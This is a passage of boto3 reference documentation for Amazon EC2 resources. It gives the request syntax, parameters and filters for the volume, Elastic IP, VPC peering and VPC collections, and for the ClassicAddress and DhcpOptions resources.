ec2.subnets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +volumes + +A collection of Volume resources.A Volume Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.all() + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +filter(kwargs_) + +Creates an iterable of all Volume resources in the collection filtered by kwargs passed to method.A Volume collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VolumeIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - attachment.attach-time - The time stamp when the attachment initiated. + - attachment.delete-on-termination - Whether the volume is deleted on instance termination. + - attachment.device - The device name specified in the block device mapping (for example, /dev/sda1 ). + - attachment.instance-id - The ID of the instance the volume is attached to. + - attachment.status - The attachment state (attaching | attached | detaching ). + - availability-zone - The Availability Zone in which the volume was created. + - create-time - The time stamp when the volume was created. + - encrypted - Indicates whether the volume is encrypted (true | false ) + - multi-attach-enabled - Indicates whether the volume is enabled for Multi-Attach (true | false ) + - fast-restored - Indicates whether the volume was created from a snapshot that is enabled for fast snapshot restore (true | false ). + - size - The size of the volume, in GiB. + - snapshot-id - The snapshot from which the volume was created. + - status - The state of the volume (creating | available | in-use | deleting | deleted | error ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - volume-id - The volume ID. + - volume-type - The Amazon EBS volume type (gp2 | gp3 | io1 | io2 | st1 | sc1 | standard ) + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VolumeIds** (_list_) -- + + The volume IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumes in paginated output. When this parameter is used, DescribeVolumes only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeVolumes request with the returned NextToken value. This value can be between 5 and 500; if MaxResults is given a value larger than 500, only 500 results are returned. If this parameter is not used, then DescribeVolumes returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeVolumes request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +page_size(kwargs_) + +Creates an iterable of all Volume resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +vpc_addresses + +A collection of VpcAddress resources.A VpcAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.all() + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +filter(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection filtered by kwargs passed to method.A VpcAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +page_size(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + - accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + - accepter-vpc-info.vpc-id - The ID of the accepter VPC. + - expiration-time - The expiration date and time for the VPC peering connection. + - requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + - requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + - requester-vpc-info.vpc-id - The ID of the requester VPC. + - status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + - status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-peering-connection-id - The ID of the VPC peering connection. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +vpcs + +A collection of Vpc resources.A Vpc Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Vpc resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.all() + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +filter(kwargs_) + +Creates an iterable of all Vpc resources in the collection filtered by kwargs passed to method.A Vpc collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VpcIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + - cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + - cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + - cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + - dhcp-options-id - The ID of a set of DHCP options. + - ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + - ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + - ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + - ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + - isDefault - Indicates whether the VPC is the default VPC. + - owner-id - The ID of the AWS account that owns the VPC. + - state - The state of the VPC (pending | available ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VpcIds** (_list_) -- + + One or more VPC IDs. + + Default: Describes all your VPCs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Vpc resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +page_size(kwargs_) + +Creates an iterable of all Vpc resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +[ClassicAddress](#id1237) +-------------------------------------------------------------------------- + +_class_ EC2.ClassicAddress(_public_ip_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) ClassicAddress: + +import boto3 + +ec2 = boto3.resource('ec2') +classic_address = ec2.ClassicAddress('public_ip') + +Parameters + +**public_ip** (_string_) -- The ClassicAddress's public_ip identifier. This **must** be set. + +These are the resource's available identifiers: + +- [public_ip](#EC2.ClassicAddress.public_ip "EC2.ClassicAddress.public_ip") + +These are the resource's available attributes: + +- [allocation_id](#EC2.ClassicAddress.allocation_id "EC2.ClassicAddress.allocation_id") +- [association_id](#EC2.ClassicAddress.association_id "EC2.ClassicAddress.association_id") +- [carrier_ip](#EC2.ClassicAddress.carrier_ip "EC2.ClassicAddress.carrier_ip") +- [customer_owned_ip](#EC2.ClassicAddress.customer_owned_ip "EC2.ClassicAddress.customer_owned_ip") +- [customer_owned_ipv4_pool](#EC2.ClassicAddress.customer_owned_ipv4_pool "EC2.ClassicAddress.customer_owned_ipv4_pool") +- [domain](#EC2.ClassicAddress.domain "EC2.ClassicAddress.domain") +- [instance_id](#EC2.ClassicAddress.instance_id "EC2.ClassicAddress.instance_id") +- [network_border_group](#EC2.ClassicAddress.network_border_group "EC2.ClassicAddress.network_border_group") +- [network_interface_id](#EC2.ClassicAddress.network_interface_id "EC2.ClassicAddress.network_interface_id") +- [network_interface_owner_id](#EC2.ClassicAddress.network_interface_owner_id "EC2.ClassicAddress.network_interface_owner_id") +- [private_ip_address](#EC2.ClassicAddress.private_ip_address "EC2.ClassicAddress.private_ip_address") +- [public_ipv4_pool](#EC2.ClassicAddress.public_ipv4_pool "EC2.ClassicAddress.public_ipv4_pool") +- [tags](#EC2.ClassicAddress.tags "EC2.ClassicAddress.tags") + +These are the resource's available actions: + +- [associate()](#EC2.ClassicAddress.associate "EC2.ClassicAddress.associate") +- [disassociate()](#EC2.ClassicAddress.disassociate "EC2.ClassicAddress.disassociate") +- [get_available_subresources()](#EC2.ClassicAddress.get_available_subresources "EC2.ClassicAddress.get_available_subresources") +- [load()](#EC2.ClassicAddress.load "EC2.ClassicAddress.load") +- [release()](#EC2.ClassicAddress.release "EC2.ClassicAddress.release") +- [reload()](#EC2.ClassicAddress.reload "EC2.ClassicAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +public_ip + +_(string)_ The ClassicAddress's public_ip identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.ClassicAddress.load "EC2.ClassicAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +- _(string) --_ + + The ID representing the allocation of the address for use with EC2-VPC. + + +association_id + +- _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + +- _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +- _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +- _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +- _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +- _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +- _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +- _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +- _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ipv4_pool + +- _(string) --_ + + The ID of an address pool. + + +tags + +- _(list) --_ + + Any tags assigned to the Elastic IP address. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = classic_address.associate( + AllocationId='string', + InstanceId='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +- **AllocationId** (_string_) -- [EC2-VPC] The allocation ID. This is required for EC2-VPC. +- **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +- **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +- **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + - **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +disassociate(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = classic_address.disassociate( + AssociationId='string', + DryRun=True|False +) + +Parameters + +- **AssociationId** (_string_) -- [EC2-VPC] The association ID. Required for EC2-VPC. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the ClassicAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +classic_address.load() + +Returns + +None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = classic_address.release( + AllocationId='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +- **AllocationId** (_string_) -- [EC2-VPC] The allocation ID. Required for EC2-VPC. +- **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the ClassicAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +classic_address.reload() + +Returns + +None + +[DhcpOptions](#id1238) +-------------------------------------------------------------------- + +_class_ EC2.DhcpOptions(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) DhcpOptions: + +import boto3 + +ec2 = boto3.resource('ec2') +dhcp_options = ec2.DhcpOptions('id') + +Parameters + +**id** (_string_) -- The DhcpOptions's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.DhcpOptions.id "EC2.DhcpOptions.id") + +These are the resource's available attributes: + +- [dhcp_configurations](#EC2.DhcpOptions.dhcp_configurations "EC2.DhcpOptions.dhcp_configurations") +- [dhcp_options_id](#EC2.DhcpOptions.dhcp_options_id "EC2.DhcpOptions.dhcp_options_id") +- [owner_id](#EC2.DhcpOptions.owner_id "EC2.DhcpOptions.owner_id") +- [tags](#EC2.DhcpOptions.tags "EC2.DhcpOptions.tags") + +These are the resource's available actions: + +- [associate_with_vpc()](#EC2.DhcpOptions.associate_with_vpc "EC2.DhcpOptions.associate_with_vpc") +- [create_tags()](#EC2.DhcpOptions.create_tags "EC2.DhcpOptions.create_tags") +- [delete()](#EC2.DhcpOptions.delete "EC2.DhcpOptions.delete") +- [get_available_subresources()](#EC2.DhcpOptions.get_available_subresources "EC2.DhcpOptions.get_available_subresources") +- [load()](#EC2.DhcpOptions.load "EC2.DhcpOptions.load") +- [reload()](#EC2.DhcpOptions.reload "EC2.DhcpOptions.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The DhcpOptions's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.DhcpOptions.load "EC2.DhcpOptions.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +dhcp_configurations + +- _(list) --_ + + One or more DHCP options in the set. + + - _(dict) --_ + + Describes a DHCP configuration option. + + - **Key** _(string) --_ + + The name of a DHCP option. + + - **Values** _(list) --_ + + One or more values for the DHCP option. + + - _(dict) --_ + + Describes a value for a resource attribute that is a String. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +dhcp_options_id + +- _(string) --_ + + The ID of the set of DHCP options. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the DHCP options set. + + +tags + +- _(list) --_ + + Any tags assigned to the DHCP options set. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_with_vpc(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = dhcp_options.associate_with_vpc( + VpcId='string', + DryRun=True|False +) + +Parameters + +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + 